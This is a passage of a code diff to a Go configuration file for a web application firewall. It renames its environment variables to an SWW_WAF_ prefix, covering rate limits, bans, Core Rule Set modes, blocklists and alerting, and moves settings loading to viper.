// breaks a rate limit or matches a ban rule, SWW_WAF_DENY_NETS,
|
||||||
// SWW_EXCLUSIVELY_ALLOWED_COUNTRIES and SWW_TAG_DENY.
|
// SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES and SWW_WAF_TAG_DENY.
|
||||||
BanResponse int
|
BanResponse int
|
||||||
// LimitBanDuration is the ban for a first broken rate limit
|
// LimitBanDuration is the ban for a first broken rate limit
|
||||||
// (SWW_LIMIT_BAN_DURATION). A limit broken again within
|
// (SWW_WAF_LIMIT_BAN_DURATION). A limit broken again within
|
||||||
// LimitBanRepeatWindow after the last ban ended bans for three times
|
// LimitBanRepeatWindow after the last ban ended bans for three times
|
||||||
// as long as that ban (SWW_LIMIT_BAN_REPEAT_WINDOW), and a ban that
|
// as long as that ban (SWW_WAF_LIMIT_BAN_REPEAT_WINDOW), and a ban that
|
||||||
// would be longer than MaxBanDuration is permanent instead
|
// would be longer than MaxBanDuration is permanent instead
|
||||||
// (SWW_MAX_BAN_DURATION). None of them can be off.
|
// (SWW_WAF_MAX_BAN_DURATION). None of them can be off.
|
||||||
LimitBanDuration time.Duration
|
LimitBanDuration time.Duration
|
||||||
LimitBanRepeatWindow time.Duration
|
LimitBanRepeatWindow time.Duration
|
||||||
MaxBanDuration time.Duration
|
MaxBanDuration time.Duration
|
||||||
// AttackBanDuration is the ban for a first clear sign of attack
|
// AttackBanDuration is the ban for a first clear sign of attack
|
||||||
// (SWW_ATTACK_BAN_DURATION). It cannot be off.
|
// (SWW_WAF_ATTACK_BAN_DURATION). It cannot be off.
|
||||||
AttackBanDuration time.Duration
|
AttackBanDuration time.Duration
|
||||||
// MaxBans is the most bans held (SWW_MAX_BANS).
|
// MaxBans is the most bans held (SWW_WAF_MAX_BANS).
|
||||||
MaxBans int
|
MaxBans int
|
||||||
// BanScopeV4Prefix is the length of the netblock around an IPv4
|
// BanScopeV4Prefix is the length of the netblock around an IPv4
|
||||||
// client that a ban covers (SWW_BAN_SCOPE_V4_PREFIX).
|
// client that a ban covers (SWW_WAF_BAN_SCOPE_V4_PREFIX).
|
||||||
BanScopeV4Prefix int
|
BanScopeV4Prefix int
|
||||||
// StateDir is the directory of the state files, an absolute path
|
// StateDir is the directory of the state files, an absolute path
|
||||||
// (SWW_STATE_DIR). bans.json is written StateWriteDelay after a ban
|
// (SWW_WAF_STATE_DIR). bans.json is written StateWriteDelay after a ban
|
||||||
// is made (SWW_STATE_WRITE_DELAY), and every state file every
|
// is made (SWW_WAF_STATE_WRITE_DELAY), and every state file every
|
||||||
// StateCounterInterval (SWW_STATE_COUNTER_INTERVAL). Neither can be
|
// StateCounterInterval (SWW_WAF_STATE_COUNTER_INTERVAL). Neither can be
|
||||||
// off.
|
// off.
|
||||||
StateDir string
|
StateDir string
|
||||||
StateWriteDelay time.Duration
|
StateWriteDelay time.Duration
|
||||||
StateCounterInterval time.Duration
|
StateCounterInterval time.Duration
|
||||||
// LogRequestHeaders are the request headers whose values the request
|
// LogRequestHeaders are the request headers whose values the request
|
||||||
// log gives, in lower case (SWW_LOG_REQUEST_HEADERS).
|
// log gives, in lower case (SWW_WAF_LOG_REQUEST_HEADERS).
|
||||||
LogRequestHeaders []string
|
LogRequestHeaders []string
|
||||||
// LogLevel is the least severe of the process's own messages that are
|
// LogLevel is the least severe of the process's own messages that are
|
||||||
// written (SWW_LOG_LEVEL). It holds back no request log line.
|
// written (SWW_WAF_LOG_LEVEL). It holds back no request log line.
|
||||||
LogLevel slog.Level
|
LogLevel slog.Level
|
||||||
// AdminToken is the bearer token an admin sends for the ban endpoints
|
// AdminToken is the bearer token an admin sends for the ban endpoints
|
||||||
// and /_sww/clients/<ip> (SWW_ADMIN_TOKEN), "" while it is
|
// and /_sww/clients/<ip> (SWW_WAF_ADMIN_TOKEN), "" while it is
|
||||||
// unset and they are off.
|
// unset and they are off.
|
||||||
AdminToken string
|
AdminToken string
|
||||||
// MetricsToken is the bearer token a scraper sends for the metrics
|
// MetricsToken is the bearer token a scraper sends for the metrics
|
||||||
// (SWW_METRICS_TOKEN), "" while it is unset and the metrics are off.
|
// (SWW_WAF_METRICS_TOKEN), "" while it is unset and the metrics are off.
|
||||||
// MetricsTopN is how many AS numbers and how many countries get series
|
// MetricsTopN is how many AS numbers and how many countries get series
|
||||||
// of their own in the metrics (SWW_METRICS_TOP_N).
|
// of their own in the metrics (SWW_WAF_METRICS_TOP_N).
|
||||||
MetricsToken string
|
MetricsToken string
|
||||||
MetricsTopN int
|
MetricsTopN int
|
||||||
// RulesDir is the directory of the rule files (SWW_RULES_DIR), read
|
// RulesDir is the directory of the rule files (SWW_WAF_RULES_DIR), read
|
||||||
// unless RulesEnabled is false (SWW_RULES_ENABLED).
|
// unless RulesEnabled is false (SWW_WAF_RULES_ENABLED).
|
||||||
RulesDir string
|
RulesDir string
|
||||||
RulesEnabled bool
|
RulesEnabled bool
|
||||||
// WAFMode is what the Core Rule Set does (SWW_WAF_MODE): WAFModeOff,
|
// WAFMode is what the Core Rule Set does (SWW_WAF_CORE_RULE_SET_MODE): WAFModeOff,
|
||||||
// WAFModeDetect or WAFModeBlock. WAFParanoiaLevel is its paranoia
|
// WAFModeDetect or WAFModeBlock. WAFParanoiaLevel is its paranoia
|
||||||
// level, from 1 to 4 (SWW_WAF_PARANOIA_LEVEL), and
|
// level, from 1 to 4 (SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL), and
|
||||||
// WAFAnomalyThreshold the anomaly score at which a request is a match
|
// WAFAnomalyThreshold the anomaly score at which a request is a match
|
||||||
// (SWW_WAF_ANOMALY_THRESHOLD), 0 while it is off. WAFDisabledRules
|
// (SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD), 0 while it is off. WAFDisabledRules
|
||||||
// are the ids of its rules switched off (SWW_WAF_DISABLED_RULES),
|
// are the ids of its rules switched off (SWW_WAF_CORE_RULE_SET_DISABLED_RULES),
|
||||||
// WAFExemptPaths the path prefixes it does not inspect
|
// WAFExemptPaths the path prefixes it does not inspect
|
||||||
// (SWW_WAF_EXEMPT_PATHS), and WAFBodyLimit the most of a request body
|
// (SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS), and WAFBodyLimit the most of a request body
|
||||||
// it reads (SWW_WAF_BODY_LIMIT), 0 while it is off and it reads none.
|
// it reads (SWW_WAF_CORE_RULE_SET_BODY_LIMIT), 0 while it is off and it reads none.
|
||||||
// CoreRuleSetExclusionsFile is the path of the file of its exclusions
|
// CoreRuleSetExclusionsFile is the path of the file of its exclusions
|
||||||
// (SWW_CORE_RULE_SET_EXCLUSIONS_FILE), "" while there is none.
|
// (SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE), "" while there is none.
|
||||||
WAFMode string
|
WAFMode string
|
||||||
WAFParanoiaLevel int
|
WAFParanoiaLevel int
|
||||||
WAFAnomalyThreshold int
|
WAFAnomalyThreshold int
|
||||||
@@ -236,21 +237,21 @@ type Config struct {
|
|||||||
WAFBodyLimit int64
|
WAFBodyLimit int64
|
||||||
CoreRuleSetExclusionsFile string
|
CoreRuleSetExclusionsFile string
|
||||||
// TrapPaths are the paths a request for which is a clear sign of
|
// TrapPaths are the paths a request for which is a clear sign of
|
||||||
// attack (SWW_TRAP_PATHS), each starting with / and without a ?.
|
// attack (SWW_WAF_TRAP_PATHS), each starting with / and without a ?.
|
||||||
TrapPaths []string
|
TrapPaths []string
|
||||||
// ErrorBurstThreshold is the most requests of a client within a minute
|
// ErrorBurstThreshold is the most requests of a client within a minute
|
||||||
// that discriminator may refuse after a rule file or Core Rule Set match; one
|
// that discriminator may refuse after a rule file or Core Rule Set match; one
|
||||||
// more breaks a limit (SWW_ERROR_BURST_THRESHOLD). 0 is off.
|
// more breaks a limit (SWW_WAF_ERROR_BURST_THRESHOLD). 0 is off.
|
||||||
ErrorBurstThreshold int64
|
ErrorBurstThreshold int64
|
||||||
// LogRemoteURL is where every line on stdout is also sent
|
// LogRemoteURL is where every line on stdout is also sent
|
||||||
// (SWW_LOG_REMOTE_URL), nil while it is unset and nothing is sent.
|
// (SWW_WAF_LOG_REMOTE_URL), nil while it is unset and nothing is sent.
|
||||||
// LogRemoteTLSCAs are the certificates a syslog+tls endpoint's
|
// LogRemoteTLSCAs are the certificates a syslog+tls endpoint's
|
||||||
// certificate must chain to (SWW_LOG_REMOTE_TLS_CA_FILE), nil while
|
// certificate must chain to (SWW_WAF_LOG_REMOTE_TLS_CA_FILE), nil while
|
||||||
// it is unset and the host's own are used. LogRemoteBuffer is the most
|
// it is unset and the host's own are used. LogRemoteBuffer is the most
|
||||||
// lines held while they wait to be sent (SWW_LOG_REMOTE_BUFFER).
|
// lines held while they wait to be sent (SWW_WAF_LOG_REMOTE_BUFFER).
|
||||||
// LogRemoteFacility is the number of the syslog facility
|
// LogRemoteFacility is the number of the syslog facility
|
||||||
// (SWW_LOG_REMOTE_FACILITY), and LogRemoteAppName the APP-NAME
|
// (SWW_WAF_LOG_REMOTE_FACILITY), and LogRemoteAppName the APP-NAME
|
||||||
// (SWW_LOG_REMOTE_APP_NAME, by default InstanceName), of the records
|
// (SWW_WAF_LOG_REMOTE_APP_NAME, by default InstanceName), of the records
|
||||||
// the lines are sent in.
|
// the lines are sent in.
|
||||||
LogRemoteURL *url.URL
|
LogRemoteURL *url.URL
|
||||||
LogRemoteTLSCAs *x509.CertPool
|
LogRemoteTLSCAs *x509.CertPool
|
||||||
@@ -258,18 +259,18 @@ type Config struct {
|
|||||||
LogRemoteFacility int
|
LogRemoteFacility int
|
||||||
LogRemoteAppName string
|
LogRemoteAppName string
|
||||||
// AlertWebhookURL is where each alert is posted as JSON
|
// AlertWebhookURL is where each alert is posted as JSON
|
||||||
// (SWW_ALERT_WEBHOOK_URL), nil while it is unset. AlertWebhookHeaders
|
// (SWW_WAF_ALERT_WEBHOOK_URL), nil while it is unset. AlertWebhookHeaders
|
||||||
// are sent with each (SWW_ALERT_WEBHOOK_HEADERS).
|
// are sent with each (SWW_WAF_ALERT_WEBHOOK_HEADERS).
|
||||||
// AlertSlackWebhookURL is the Slack incoming webhook each alert is
|
// AlertSlackWebhookURL is the Slack incoming webhook each alert is
|
||||||
// posted to as a message (SWW_ALERT_SLACK_WEBHOOK_URL), and
|
// posted to as a message (SWW_WAF_ALERT_SLACK_WEBHOOK_URL), and
|
||||||
// AlertNtfyURL the ntfy topic each is published to
|
// AlertNtfyURL the ntfy topic each is published to
|
||||||
// (SWW_ALERT_NTFY_URL), each nil while it is unset; AlertNtfyToken,
|
// (SWW_WAF_ALERT_NTFY_URL), each nil while it is unset; AlertNtfyToken,
|
||||||
// unless empty, is sent to ntfy with each (SWW_ALERT_NTFY_TOKEN).
|
// unless empty, is sent to ntfy with each (SWW_WAF_ALERT_NTFY_TOKEN).
|
||||||
// With none of the three URLs set, no alert is sent. AlertEvents are
|
// With none of the three URLs set, no alert is sent. AlertEvents are
|
||||||
// the events alerts are sent for (SWW_ALERT_EVENTS). A repeat of an
|
// the events alerts are sent for (SWW_WAF_ALERT_EVENTS). A repeat of an
|
||||||
// alert within AlertCooldown is held back (SWW_ALERT_COOLDOWN), and
|
// alert within AlertCooldown is held back (SWW_WAF_ALERT_COOLDOWN), and
|
||||||
// so is an alert past AlertMaxPerHour in an hour, for the hour's
|
// so is an alert past AlertMaxPerHour in an hour, for the hour's
|
||||||
// summary (SWW_ALERT_MAX_PER_HOUR); 0 is off for both.
|
// summary (SWW_WAF_ALERT_MAX_PER_HOUR); 0 is off for both.
|
||||||
AlertWebhookURL *url.URL
|
AlertWebhookURL *url.URL
|
||||||
AlertWebhookHeaders http.Header
|
AlertWebhookHeaders http.Header
|
||||||
AlertSlackWebhookURL *url.URL
|
AlertSlackWebhookURL *url.URL
|
||||||
@@ -279,14 +280,14 @@ type Config struct {
|
|||||||
AlertCooldown time.Duration
|
AlertCooldown time.Duration
|
||||||
AlertMaxPerHour int
|
AlertMaxPerHour int
|
||||||
// The anomaly thresholds, which only raise alerts: the most requests
|
// The anomaly thresholds, which only raise alerts: the most requests
|
||||||
// and bytes a minute and an hour per client (SWW_ANOMALY_CLIENT_*),
|
// and bytes a minute and an hour per client (SWW_WAF_ANOMALY_CLIENT_*),
|
||||||
// per netblock around a client (SWW_ANOMALY_NET_*), per AS number
|
// per netblock around a client (SWW_WAF_ANOMALY_NET_*), per AS number
|
||||||
// (SWW_ANOMALY_ASN_*), for the whole service (SWW_ANOMALY_TOTAL_*)
|
// (SWW_WAF_ANOMALY_ASN_*), for the whole service (SWW_WAF_ANOMALY_TOTAL_*)
|
||||||
// and per named netblock (SWW_WATCH_*), each 0 while it is off.
|
// and per named netblock (SWW_WAF_WATCH_*), each 0 while it is off.
|
||||||
// AnomalyNetV4Prefix and AnomalyNetV6Prefix are the lengths of the
|
// AnomalyNetV4Prefix and AnomalyNetV6Prefix are the lengths of the
|
||||||
// netblock around a client (SWW_ANOMALY_NET_V4_PREFIX and
|
// netblock around a client (SWW_WAF_ANOMALY_NET_V4_PREFIX and
|
||||||
// SWW_ANOMALY_NET_V6_PREFIX), and WatchNets the named netblocks
|
// SWW_WAF_ANOMALY_NET_V6_PREFIX), and WatchNets the named netblocks
|
||||||
// (SWW_WATCH_NETS).
|
// (SWW_WAF_WATCH_NETS).
|
||||||
AnomalyClient anomaly.Thresholds
|
AnomalyClient anomaly.Thresholds
|
||||||
AnomalyNet anomaly.Thresholds
|
AnomalyNet anomaly.Thresholds
|
||||||
AnomalyASN anomaly.Thresholds
|
AnomalyASN anomaly.Thresholds
|
||||||
@@ -305,7 +306,7 @@ type Config struct {
|
|||||||
// off.
|
// off.
|
||||||
const off = "off"
|
const off = "off"
|
||||||
|
|
||||||
// The values of SWW_WAF_MODE.
|
// The values of SWW_WAF_CORE_RULE_SET_MODE.
|
||||||
const (
|
const (
|
||||||
// WAFModeOff runs no request through the Core Rule Set.
|
// WAFModeOff runs no request through the Core Rule Set.
|
||||||
WAFModeOff = off
|
WAFModeOff = off
|
||||||
@@ -315,8 +316,8 @@ const (
|
|||||||
WAFModeBlock = "block"
|
WAFModeBlock = "block"
|
||||||
)
|
)
|
||||||
|
|
||||||
// fileSource is the SWW_LOOKUP_SOURCE that looks clients up in the
|
// fileSource is the SWW_WAF_LOOKUP_SOURCE that looks clients up in the
|
||||||
// lookup database, the file SWW_LOOKUP_DB_PATH names.
|
// lookup database, the file SWW_WAF_LOOKUP_DB_PATH names.
|
||||||
const fileSource = "file"
|
const fileSource = "file"
|
||||||
|
|
||||||
const (
|
const (
|
||||||
@@ -326,7 +327,7 @@ const (
|
|||||||
gibibyte = 1 << 30
|
gibibyte = 1 << 30
|
||||||
ipv4Bits = 32
|
ipv4Bits = 32
|
||||||
ipv6Bits = 128
|
ipv6Bits = 128
|
||||||
// minIPv6GroupPrefix is the shortest SWW_IPV6_GROUP_PREFIX, the
|
// minIPv6GroupPrefix is the shortest SWW_WAF_IPV6_GROUP_PREFIX, the
|
||||||
// netblock a provider is usually given: a shorter one would make one
|
// netblock a provider is usually given: a shorter one would make one
|
||||||
// client of the customers of several providers.
|
// client of the customers of several providers.
|
||||||
minIPv6GroupPrefix = 32
|
minIPv6GroupPrefix = 32
|
||||||
@@ -343,8 +344,8 @@ const (
|
|||||||
// masked is what the log shows for a token that is set, and in place of
|
// masked is what the log shows for a token that is set, and in place of
|
||||||
// a secret in another setting.
|
// a secret in another setting.
|
||||||
masked = "********"
|
masked = "********"
|
||||||
// defaultListenAddr is the default of SWW_LISTEN_ADDR and
|
// defaultListenAddr is the default of SWW_WAF_LISTEN_ADDR and
|
||||||
// SWRP_LISTEN_ADDR, and defaultUpstreamURL that of SWRP_UPSTREAM_URL.
|
// SWW_RPROXY_LISTEN_ADDR, and defaultUpstreamURL that of SWW_RPROXY_UPSTREAM_URL.
|
||||||
defaultListenAddr = ":8080"
|
defaultListenAddr = ":8080"
|
||||||
defaultUpstreamURL = "http://127.0.0.1:8081"
|
defaultUpstreamURL = "http://127.0.0.1:8081"
|
||||||
)
|
)
|
||||||
@@ -372,7 +373,7 @@ var (
|
|||||||
errHeaderTakenOut = errors.New(
|
errHeaderTakenOut = errors.New(
|
||||||
"is taken out of every request by Go's HTTP server, so it can never " +
|
"is taken out of every request by Go's HTTP server, so it can never " +
|
||||||
"be logged")
|
"be logged")
|
||||||
errOnBothLists = errors.New("is in SWW_TAG_DENY too")
|
errOnBothLists = errors.New("is in SWW_WAF_TAG_DENY too")
|
||||||
errNotLookupSource = errors.New("is not geojs, file or off")
|
errNotLookupSource = errors.New("is not geojs, file or off")
|
||||||
errNeedsLookups = errors.New("it needs each client looked up")
|
errNeedsLookups = errors.New("it needs each client looked up")
|
||||||
errNeedsDBPath = errors.New("it names the file to look clients up in")
|
errNeedsDBPath = errors.New("it names the file to look clients up in")
|
||||||
@@ -448,7 +449,7 @@ var (
|
|||||||
errNotListURL = errors.New(
|
errNotListURL = errors.New(
|
||||||
"is not an http or https URL without a user or a fragment, " +
|
"is not an http or https URL without a user or a fragment, " +
|
||||||
"such as https://www.spamhaus.org/drop/drop.txt")
|
"such as https://www.spamhaus.org/drop/drop.txt")
|
||||||
errInBlocklistURLs = errors.New("is in SWW_BLOCKLIST_URLS too")
|
errInBlocklistURLs = errors.New("is in SWW_WAF_BLOCKLIST_URLS too")
|
||||||
errNotAnHourOrMore = errors.New("is not a duration of 1h or more, such as 24h")
|
errNotAnHourOrMore = errors.New("is not a duration of 1h or more, such as 24h")
|
||||||
errNotAction = errors.New(
|
errNotAction = errors.New(
|
||||||
"is not deny, limit:<percent> such as limit:25, or log")
|
"is not deny, limit:<percent> such as limit:25, or log")
|
||||||
@@ -472,9 +473,9 @@ var (
|
|||||||
errNeedsLAPIKey = errors.New("the engine answers no request without it")
|
errNeedsLAPIKey = errors.New("the engine answers no request without it")
|
||||||
errLAPIKeyUnused = errors.New("it is sent only to the engine at that URL")
|
errLAPIKeyUnused = errors.New("it is sent only to the engine at that URL")
|
||||||
errAnotherList = errors.New(
|
errAnotherList = errors.New(
|
||||||
"is in SWW_BLOCKLIST_URLS or is SWW_ASN_LIMIT_PERCENT_URL too")
|
"is in SWW_WAF_BLOCKLIST_URLS or is SWW_WAF_ASN_LIMIT_PERCENT_URL too")
|
||||||
errFetchedOtherwise = errors.New("is in SWW_BLOCKLIST_URLS, is " +
|
errFetchedOtherwise = errors.New("is in SWW_WAF_BLOCKLIST_URLS, is " +
|
||||||
"SWW_ASN_LIMIT_PERCENT_URL or is the CrowdSec decision list too")
|
"SWW_WAF_ASN_LIMIT_PERCENT_URL or is the CrowdSec decision list too")
|
||||||
errNotTagList = errors.New(
|
errNotTagList = errors.New(
|
||||||
"is not a name, = and an http or https URL, such as " +
|
"is not a name, = and an http or https URL, such as " +
|
||||||
"torexit=https://example.com/tor.txt")
|
"torexit=https://example.com/tor.txt")
|
||||||
@@ -490,124 +491,123 @@ var (
|
|||||||
errCrowdSecTag = errors.New(
|
errCrowdSecTag = errors.New(
|
||||||
"cannot be used: a CrowdSec decision refuses the request first")
|
"cannot be used: a CrowdSec decision refuses the request first")
|
||||||
errNoRequestGetsTag = errors.New(
|
errNoRequestGetsTag = errors.New(
|
||||||
"is a tag no request can get: it is not a name in SWW_TAG_LISTS, an " +
|
"is a tag no request can get: it is not a name in SWW_WAF_TAG_LISTS, an " +
|
||||||
"asn= or country= tag, a dnsbl= tag of a zone in SWW_DNSBL_ZONES, " +
|
"asn= or country= tag, a dnsbl= tag of a zone in SWW_WAF_DNSBL_ZONES, " +
|
||||||
"a prefix= tag with SWW_ROUTEWATCH_URL set, abuseipdb with " +
|
"a prefix= tag with SWW_WAF_ROUTEWATCH_URL set, abuseipdb with " +
|
||||||
"SWW_ABUSEIPDB_KEY set, or exploitsignature with rule files or the " +
|
"SWW_WAF_ABUSEIPDB_KEY set, or exploitsignature with rule files or the " +
|
||||||
"Core Rule Set on")
|
"Core Rule Set on")
|
||||||
)
|
)
|
||||||
|
|
||||||
// FromEnvironment reads the settings with lookupEnv, normally
|
// FromEnvironment reads the settings through v, normally the viper
|
||||||
// os.LookupEnv. A setting may instead be given as a file: the variable
|
// NewViper returns, bound to the process's environment. A setting may
|
||||||
// named by the setting's name with _FILE added names the file, which is
|
// instead be given as a file: the variable named by the setting's name
|
||||||
// read now (see lookup). A setting that is not set takes its default. A
|
// with _FILE added names the file, which is read now (see lookup). A
|
||||||
// setting that is set but invalid is an error that names it.
|
// setting that is not set takes its default. A setting that is set but
|
||||||
|
// invalid is an error that names it.
|
||||||
//
|
//
|
||||||
//nolint:funlen // one line for each setting, a list that grows with them
|
//nolint:funlen // one line for each setting, a list that grows with them
|
||||||
func FromEnvironment(
|
func FromEnvironment(v *viper.Viper) (*Config, error) {
|
||||||
lookupEnv func(string) (string, bool),
|
env := &environment{v: v}
|
||||||
) (*Config, error) {
|
|
||||||
env := &environment{lookupEnv: lookupEnv}
|
|
||||||
cfg := &Config{
|
cfg := &Config{
|
||||||
ListenAddr: env.address("SWW_LISTEN_ADDR"),
|
ListenAddr: env.address("SWW_WAF_LISTEN_ADDR"),
|
||||||
InstanceName: env.instanceName(),
|
InstanceName: env.instanceName(),
|
||||||
Observe: env.observe("SWW_MODE", "enforce"),
|
Observe: env.observe("SWW_WAF_MODE", "enforce"),
|
||||||
IPv6GroupPrefix: env.ipv6GroupPrefix("SWW_IPV6_GROUP_PREFIX", "64"),
|
IPv6GroupPrefix: env.ipv6GroupPrefix("SWW_WAF_IPV6_GROUP_PREFIX", "64"),
|
||||||
MaxTrackedClients: env.numberNotOff("SWW_MAX_TRACKED_CLIENTS", "20000"),
|
MaxTrackedClients: env.numberNotOff("SWW_WAF_MAX_TRACKED_CLIENTS", "20000"),
|
||||||
AllowNets: env.netblocks("SWW_ALLOW_NETS", ""),
|
AllowNets: env.netblocks("SWW_WAF_ALLOW_NETS", ""),
|
||||||
RateLimitExemptNets: env.netblocks("SWW_RATE_LIMIT_EXEMPT_NETS", ""),
|
RateLimitExemptNets: env.netblocks("SWW_WAF_RATE_LIMIT_EXEMPT_NETS", ""),
|
||||||
DenyNets: env.netblocks("SWW_DENY_NETS", ""),
|
DenyNets: env.netblocks("SWW_WAF_DENY_NETS", ""),
|
||||||
RateLimitPerMinute: env.count("SWW_RATE_LIMIT_PER_MINUTE", "120"),
|
RateLimitPerMinute: env.count("SWW_WAF_RATE_LIMIT_PER_MINUTE", "120"),
|
||||||
RateLimitPerHour: env.count("SWW_RATE_LIMIT_PER_HOUR", "1500"),
|
RateLimitPerHour: env.count("SWW_WAF_RATE_LIMIT_PER_HOUR", "1500"),
|
||||||
RateLimitPerDay: env.count("SWW_RATE_LIMIT_PER_DAY", "6000"),
|
RateLimitPerDay: env.count("SWW_WAF_RATE_LIMIT_PER_DAY", "6000"),
|
||||||
RateLimitExemptPaths: env.pathPrefixes("SWW_RATE_LIMIT_EXEMPT_PATHS", ""),
|
RateLimitExemptPaths: env.pathPrefixes("SWW_WAF_RATE_LIMIT_EXEMPT_PATHS", ""),
|
||||||
BytesLimitPerMinute: env.size("SWW_BYTES_LIMIT_PER_MINUTE", "off"),
|
BytesLimitPerMinute: env.size("SWW_WAF_BYTES_LIMIT_PER_MINUTE", "off"),
|
||||||
BytesLimitPerHour: env.size("SWW_BYTES_LIMIT_PER_HOUR", "50G"),
|
BytesLimitPerHour: env.size("SWW_WAF_BYTES_LIMIT_PER_HOUR", "50G"),
|
||||||
BytesLimitPerDay: env.size("SWW_BYTES_LIMIT_PER_DAY", "100G"),
|
BytesLimitPerDay: env.size("SWW_WAF_BYTES_LIMIT_PER_DAY", "100G"),
|
||||||
BytesCount: env.bytesCount("SWW_BYTES_COUNT", "both"),
|
BytesCount: env.bytesCount("SWW_WAF_BYTES_COUNT", "both"),
|
||||||
LookupSource: env.lookupSource("SWW_LOOKUP_SOURCE", "geojs"),
|
LookupSource: env.lookupSource("SWW_WAF_LOOKUP_SOURCE", "geojs"),
|
||||||
LookupDBPath: env.value("SWW_LOOKUP_DB_PATH", ""),
|
LookupDBPath: env.value("SWW_WAF_LOOKUP_DB_PATH", ""),
|
||||||
LookupTimeout: env.durationNotOff("SWW_LOOKUP_TIMEOUT", "800ms"),
|
LookupTimeout: env.durationNotOff("SWW_WAF_LOOKUP_TIMEOUT", "800ms"),
|
||||||
AddLookupHeaders: env.boolean("SWW_ADD_LOOKUP_HEADERS", "false"),
|
AddLookupHeaders: env.boolean("SWW_WAF_ADD_LOOKUP_HEADERS", "false"),
|
||||||
ExclusivelyAllowedCountries: env.countries(
|
ExclusivelyAllowedCountries: env.countries(
|
||||||
"SWW_EXCLUSIVELY_ALLOWED_COUNTRIES", ""),
|
"SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES", ""),
|
||||||
TagLists: env.tagLists("SWW_TAG_LISTS"),
|
TagLists: env.tagLists("SWW_WAF_TAG_LISTS"),
|
||||||
TagDeny: env.tags("SWW_TAG_DENY"),
|
TagDeny: env.tags("SWW_WAF_TAG_DENY"),
|
||||||
TagLimitPercent: env.tagPercents("SWW_TAG_LIMIT_PERCENT"),
|
TagLimitPercent: env.tagPercents("SWW_WAF_TAG_LIMIT_PERCENT"),
|
||||||
RouteWatchURL: env.routeWatchURL("SWW_ROUTEWATCH_URL"),
|
RouteWatchURL: env.routeWatchURL("SWW_WAF_ROUTEWATCH_URL"),
|
||||||
ASNBytesPercent: env.percents("SWW_ASN_BYTES_PERCENT", ParseASN),
|
ASNBytesPercent: env.percents("SWW_WAF_ASN_BYTES_PERCENT", ParseASN),
|
||||||
CountryBytesPercent: env.percents("SWW_COUNTRY_BYTES_PERCENT", parseCountry),
|
CountryBytesPercent: env.percents("SWW_WAF_COUNTRY_BYTES_PERCENT", parseCountry),
|
||||||
UnknownLimitPercent: env.percent("SWW_UNKNOWN_LIMIT_PERCENT", "100"),
|
UnknownLimitPercent: env.percent("SWW_WAF_UNKNOWN_LIMIT_PERCENT", "100"),
|
||||||
ASNLimitPercentURL: env.listURL("SWW_ASN_LIMIT_PERCENT_URL"),
|
ASNLimitPercentURL: env.listURL("SWW_WAF_ASN_LIMIT_PERCENT_URL"),
|
||||||
BlocklistURLs: env.listURLs("SWW_BLOCKLIST_URLS"),
|
BlocklistURLs: env.listURLs("SWW_WAF_BLOCKLIST_URLS"),
|
||||||
BlocklistRefresh: env.refresh("SWW_BLOCKLIST_REFRESH", "24h"),
|
BlocklistRefresh: env.refresh("SWW_WAF_BLOCKLIST_REFRESH", "24h"),
|
||||||
DNSBLZones: env.zones("SWW_DNSBL_ZONES"),
|
DNSBLZones: env.zones("SWW_WAF_DNSBL_ZONES"),
|
||||||
DNSBLResolver: env.resolver("SWW_DNSBL_RESOLVER"),
|
DNSBLResolver: env.resolver("SWW_WAF_DNSBL_RESOLVER"),
|
||||||
AbuseIPDBKey: env.secret("SWW_ABUSEIPDB_KEY"),
|
AbuseIPDBKey: env.secret("SWW_WAF_ABUSEIPDB_KEY"),
|
||||||
AbuseIPDBMinScore: env.percent("SWW_ABUSEIPDB_MIN_SCORE", "75"),
|
AbuseIPDBMinScore: env.percent("SWW_WAF_ABUSEIPDB_MIN_SCORE", "75"),
|
||||||
AbuseIPDBDailyBudget: env.numberNotOff("SWW_ABUSEIPDB_DAILY_BUDGET", "900"),
|
AbuseIPDBDailyBudget: env.numberNotOff("SWW_WAF_ABUSEIPDB_DAILY_BUDGET", "900"),
|
||||||
ReputationCacheTTL: env.durationNotOff("SWW_REPUTATION_CACHE_TTL", "24h"),
|
ReputationCacheTTL: env.durationNotOff("SWW_WAF_REPUTATION_CACHE_TTL", "24h"),
|
||||||
ReputationTimeout: env.durationNotOff("SWW_REPUTATION_TIMEOUT", "2s"),
|
ReputationTimeout: env.durationNotOff("SWW_WAF_REPUTATION_TIMEOUT", "2s"),
|
||||||
CrowdSecDecisionsURL: env.crowdSecDecisionsURL("SWW_CROWDSEC_LAPI_URL"),
|
CrowdSecDecisionsURL: env.crowdSecDecisionsURL("SWW_WAF_CROWDSEC_LAPI_URL"),
|
||||||
CrowdSecKey: env.secret("SWW_CROWDSEC_LAPI_KEY"),
|
CrowdSecKey: env.secret("SWW_WAF_CROWDSEC_LAPI_KEY"),
|
||||||
BanResponse: env.banResponse("SWW_BAN_RESPONSE", "403"),
|
BanResponse: env.banResponse("SWW_WAF_BAN_RESPONSE", "403"),
|
||||||
LimitBanDuration: env.durationNotOff("SWW_LIMIT_BAN_DURATION", "1h"),
|
LimitBanDuration: env.durationNotOff("SWW_WAF_LIMIT_BAN_DURATION", "1h"),
|
||||||
LimitBanRepeatWindow: env.durationNotOff("SWW_LIMIT_BAN_REPEAT_WINDOW", "24h"),
|
LimitBanRepeatWindow: env.durationNotOff("SWW_WAF_LIMIT_BAN_REPEAT_WINDOW", "24h"),
|
||||||
MaxBanDuration: env.durationNotOff("SWW_MAX_BAN_DURATION", "7d"),
|
MaxBanDuration: env.durationNotOff("SWW_WAF_MAX_BAN_DURATION", "7d"),
|
||||||
AttackBanDuration: env.durationNotOff("SWW_ATTACK_BAN_DURATION", "7d"),
|
AttackBanDuration: env.durationNotOff("SWW_WAF_ATTACK_BAN_DURATION", "7d"),
|
||||||
MaxBans: env.numberNotOff("SWW_MAX_BANS", "5000"),
|
MaxBans: env.numberNotOff("SWW_WAF_MAX_BANS", "5000"),
|
||||||
BanScopeV4Prefix: env.v4Prefix("SWW_BAN_SCOPE_V4_PREFIX", "32"),
|
BanScopeV4Prefix: env.v4Prefix("SWW_WAF_BAN_SCOPE_V4_PREFIX", "32"),
|
||||||
StateDir: env.absolutePath("SWW_STATE_DIR", "/var/lib/sww"),
|
StateDir: env.absolutePath("SWW_WAF_STATE_DIR", "/var/lib/sww"),
|
||||||
